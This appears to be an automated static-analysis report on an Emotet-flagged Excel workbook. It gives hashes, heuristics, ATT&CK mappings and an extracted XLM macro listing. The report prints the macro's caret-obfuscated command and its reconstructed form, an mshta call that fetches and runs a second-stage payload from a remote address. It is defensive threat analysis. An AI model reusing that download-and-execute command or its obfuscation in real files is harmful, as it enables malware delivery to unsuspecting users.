Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 cc4d9ef38d567487…

MALICIOUS

Office (OLE) / .XLSX

129.4 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 4f09d9a4823d7c667c434c2f2d9db1c8 SHA-1: c5c785a892f7c959235a87b4e1c2b34f5d6d01de SHA-256: cc4d9ef38d56748743c4de3332c8a65852c4abe9c41f6679c527f661e7273fa5
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious File

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as Emotet. The extracted XLM macro script explicitly defines a string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l" which, when reconstructed, is "cmd /c mshta http://0xc12a24f5/cc.html". This script is designed to download and execute a second-stage payload from the embedded URL using mshta. The presence of two similar URLs suggests a potential fallback or variant.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes